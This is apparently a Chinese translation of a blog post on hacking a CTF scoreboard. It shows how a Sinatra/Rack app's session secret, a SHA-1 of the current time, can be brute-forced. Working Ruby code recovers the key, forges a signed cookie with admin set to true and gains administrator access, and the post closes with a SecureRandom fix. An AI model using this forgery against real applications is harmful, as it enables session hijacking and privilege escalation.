上周我參加了一個Bishop Fox和BYU大學舉辦的CTF比賽,在比賽過程中我決定嘗試一下入侵一下計分系統,并且我把入侵的過程記錄了下來。
盡管客戶端的token欺騙已經不是什么新鮮事了,但是這次的入侵過程可以作為weak randomness漏洞的一個很好的練習。(這次攻擊目標所使用的框架并不是像Rails一樣常用的框架)
最后說一句:這個漏洞是框架自己帶有的而不是Bishop Fox 或者是 BYU的問題。
在開始之前,我推薦你閱讀一下這篇博文,他會告送你一個基于ruby的webapps如何處理cookie。
簡而言之,ruby會生成一個hash數值作為一個cookie存儲在用戶客戶端像這樣
{ 'session_id' => '78894f58c088a9c6555370a0d97e373e715b91bc' }
之后ruby分為三步把他存儲到客戶端
(1)使用Marshal.dump對數據結構進行序列化
(2)使用base64編碼第一步得到的字符串
(3)計算message的HMAC(HMAC被用于message的完整性檢查,這是ruby的一種機制以防用戶篡改自己的cookie)
當以上三步做完之后,ruby會在頭文件中加入如下一段
Set-Cookie:"rack.session={base64-encoded message body}--{hmac};"
實際的cookie是這樣
Set-Cookie:"rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFVEkiRTViNDY1NjdkYTAzYjYwYTdlZGIy%0ANDg4NWEyMzVlY2E2YzRkYmM5M2IwYzgxZWJlMDc1NmQ0NGRmODE0ZjEzYjAG%0AOwBG%0A--2148e8dc04eeba3bf0f4e0d70c04465b61c4758d;"
上述處理cookie的過程有一個漏洞,message中的信息可以被客戶端還原,只需要對它進行base64解碼和反序列化即可得到原始的ruby object
ruby對于cookie信任的前提是,通過HMAC驗證message中的內容必須是有你代碼中設定的密鑰標記過的,只有這樣ruby才會把cookie當做一個有效地憑證。
下圖就是上述過程簡要流程
如果你篡改了你的cookie,會導致HMAC驗證不通過,從而使你修改過的cookie值失效。
CTF的評分系統是一個Sinatra-based的webapp,它使用了一些基本的Rails機制,提供了一個計分板的效果。看一下代碼,還是比較簡潔的。
這個webapp有一個有趣的現象就是,默認情況下代碼庫中沒有配置文件,配置文件是在程序運行過程中生成的,下面是創建配置文件的代碼。
#!ruby
begin
require './config.rb'
rescue Exception => e
# create default config.rb
open('./config.rb', "w+") {|f|
f.puts <<-"EOS"
COOKIE_SECRET = "#{Digest::SHA1.hexdigest(Time.now.to_s)}"
ADMIN_PASS_SHA1 = "08a567fa1a826eeb981c6762a40576f14d724849" #ctfadmin
STYLE_SHEET = "/style.css"
HTML_TITLE = "scoreserver.rb CTF"
EOS
f.flush
}
require './config.rb'
end
值得注意的是,COOKIE_SECERT就是前文中提到的HMAC所使用的key。他是Time.now.to_s
的SHA-1散列。這段代碼中所使用的Time.now.to_s
就是我們所說的不健壯的隨機化種子。
現在我們很容易知道,如果想要偽造cookie,就必須得到一個合法的HMAC字符串,只有得到它之后,我們才可以通過修改session-id來控制session。
這個漏洞的根源是因為它使用了,弱隨機化種子,在上文的代碼中,SHA1-hashing 加密了一個秒級別的精度的字符串,這樣我們就可以使用暴力的方法嘗試一天之內秒數只需要60 x 60 x 24
次嘗試。
而且我們并不需要把每次的嘗試結果提交到web服務器,只需要在本地計算出正確的key,然后再通過它構造出正確的HMAC提交即可。
為了確定一下我們是否可以破解HMAC,我們可以試一下。
首先,我們從webapp得到cookie和HMAC。如果你想自己測試,copy以下代碼運行即可。
#!ruby
require 'faraday'
connection = Faraday.new(:url => 'http://localhost:4567')
response = connection.get '/'
cookie, hmac = response.headers[:'set-cookie'].split.first.chop.split('=').last.split('--')
現在我們只需要不斷的獲取Time.now和創建HMACs直到匹配為止。我們通過一個循環依次減小時間,直到找到正確的時間使得SHA1散列匹配而得到session key。
#!ruby
require 'digest/sha1'
require 'openssl'
def create_hmac message, key
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, key, CGI.unescape(message))
end
seed = Time.now
while (hmac != create_hmac(cookie, Digest::SHA1.hexdigest(seed.to_s))) do
seed -= 1
end
key = Digest::SHA1.hexdigest(seed.to_s)
這樣我們就可以成功破解key了,這個key可以幫助我們創建合法的HMAC。
得到了key,我們就可以找一下源代碼中有什么能讓我們提升權限的地方。
首先,代碼會對cookie進行反序列化。
#!ruby
params = Marshal.load(Base64.decode64(CGI.unescape(cookie)))
這樣修改之后,我們就可以賦予自己管理員權限。
#!ruby
params.merge!({ 'admin' => true })
通過上述語句重建cookie
#!ruby
bad_cookie = CGI.escape(Base64.encode64(Marshal.dump(params)))
bad_hmac = create_hmac(bad_cookie, key)
header = "rack.session=#{bad_cookie}--#{bad_hmac};"
只要把上面得到的cookie內容,加到header里面就可以獲取管理員權限了。
到達這一步只要查看源代碼就可以很輕易地獲取到每一題的答案了。
我在github上提交了一個修改版本,其中使用這句代替了cookie secret key的生成
Digest::SHA1.hexdigest(Time.now.to_s)
使用SecureRandom庫生成隨機數
SecureRandom.hex(20)
這會生成一個40個字符的隨機字符串
這篇文章雖然在技術上沒有什么實質性突破,但是作為一個弱隨機漏洞的例子還是很不錯的,希望在思路上可以啟發到各位。
from:http://blog.tjll.net/weak-random-seed-rack-exploit/